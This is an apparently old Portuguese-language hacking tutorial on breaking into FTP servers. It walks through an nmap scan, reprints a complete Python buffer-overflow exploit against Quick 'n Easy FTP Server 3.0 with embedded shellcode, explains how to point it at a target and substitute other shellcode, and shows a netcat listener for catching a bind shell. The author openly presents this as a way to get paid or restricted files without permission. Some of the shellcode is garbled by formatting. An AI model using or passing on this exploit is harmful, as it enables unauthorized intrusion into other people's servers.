Páginas

Invadindo FTP com Exploit


Nesse tutorial vou mostrar uma maneira de invadir um servidor FTP com um exploit.
O exploit que eu vou usar nesse tutorial é um pouco antigo, porém mto util!
Vc poderá usar nao só para invadir FTP quanto para invadir Telnet, SSH, entre outros.

Primeiramente uma breve nota do q é FTP (File Transport Protocol):
É o protocolo de transporte de arquivo que permite vc a fazer download de programas e arquivos da internet (os sites sempre tem seu servidor FTP).
se vc tem um site cujo domínio é www.meusite.com.br, o servidor FTP correspondente será
ftp.meusite.com.br (ftp://ftp.meusite.com.br).
intao se quer baixar algo d um site q é restrito ou é pago, intao invadir o FTP seria uma das soluçoes!

Alguns programas usados no gerenciamento de FTP tem grandes falhas de programação que permitem o bom e velho Buffer Overflow.
Esse tuto é um guia, e o exploit é facil de entender.
vc vai começar usando o nmap com a seguinte linha de comando:

Código PHP:
nmap -v -sV -sC -O host
vale dizer aqui q esse exploit é bem sucedido com Quick 'n Easy FTPD 3.0
já os outros poderá ou não funcionar!

Dpois do mapeamento sabendo as informaçoes do nosso FTP (se ele estiver usando Quick 'n Easy FTPD será ótimo) vamos ao nosso exploito feito em Phyton:

Código PHP:
Vulnerable Systems:
* Quick 'n Easy FTP Server versions O.O

Exploit:
#!/usr/bin/python
#Quick 'n Easy FTP Server 3.0 (LIST) 0day PoC exploit
#Proof of Concept: execute calc.exe
#Tested on 2000 SP0 polish
#Bug found by h07
#Date: 18.07.2006

from socket import *

host = "127.0.0.1"
port = 21
user = "h07"
password = "open"
adr1 = 0x01ABED9A # ~Address of shellcode
adr2 = 0x7FFDF020 # RtlEnterCriticalSection pointer

shellcode = (
#bad chars: 0x00 0x0a 0x0d 0x5c 0x2f
#reconstruction PEB block
#mov dword edx, 0x7FFDF020 ;EDX <-- RtlEnterCriticalSection pointer #mov dword [edx], 0x77F8AA4C ;RtlEnterCriticalSection pointer <-- original value #... "\xba\x20\xf0\xfd\x7f\xc7\x02\x4c\xaa\xf8\x77" "\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9" "\xad\xaa\x01\x78" #Address of system() function (2000 SP0 polish) "\xFF\xD1\xEB\xF7") def intel_order(i): a = chr(i % 256) i = i >> 8
b = chr(i % 256)
i = i >> 8
c = chr(i % 256)
i = i >> 8
d = chr(i % 256)
str = "%c%c%c%c" % (a, b, c, d)
return str

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
print s.recv(1024)

s.send("user %s\r\n" % (user))
print s.recv(1024)

s.send("pass %s\r\n" % (password))
print s.recv(1024)

buffer = "LIST "
buffer += "?"
buffer += "A" * 267
buffer += intel_order(adr1)
buffer += intel_order(adr2)

#EDX <-- adr2 (RtlEnterCriticalSection pointer)
#ECX <-- adr1 (address of shellcode)
#MOV DWORD PTR DS:[EDX],ECX (rewrite RtlEnterCriticalSection pointer)
#MOV DWORD PTR DS:[ECX+4],EDX (exception and jump to shellcode)

buffer += "\x90" * 300 + shellcode
buffer += "\r\n"

s.send(buffer)
print s.recv(1024)

s.close()
Aqui você deve configurar ele:

host = "127.0.0.1" // O Host que será explorado
port = 21 // A porta , por padrão 21
user = "h07" // O usuario, caso tenha acesso anonimo coloque "ftp"
password = "open" // Mesma coisa do usuario


Quanto á shellcode nesse exploit será aberta a calculadora do windows, mas vc pode estar alterando ele e colocando a sua sellcode ou baixando alguma shellcode do site do metasploit:

http://www.metasploit.com/shellcode

Código PHP:
shellcode = (
#bad chars: 0x00 0x0a 0x0d 0x5c 0x2f
#reconstruction PEB block
#mov dword edx, 0x7FFDF020 ;EDX <-- RtlEnterCriticalSection pointer
#mov dword [edx], 0x77F8AA4C ;RtlEnterCriticalSection pointer <-- original value
#...

"\xba\x20\xf0\xfd\x7f\xc7\x02\x4c\xaa\xf8\x77"
"\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\ x53\ xB9"
"\xad\xaa\x01\x78" #Address of system() function (2000 SP0 polish)
"\xFF\xD1\xEB\xF7")

Pronto, agora ele irá enviar "A" 267, para ocorrer o buffer overflow colocando a shellcode.

Caso você tenha escolhido uma shellcode de bind, antes de explorar você abre o netcat e digita : nc -vv -l -p (porta de bind) -n

Agora usa o exploit e você estará conectado na shell do sistema.

Espero que vc's tenham gostado.
E se eu tiver errado em alguma coisa, me corrijam por favor!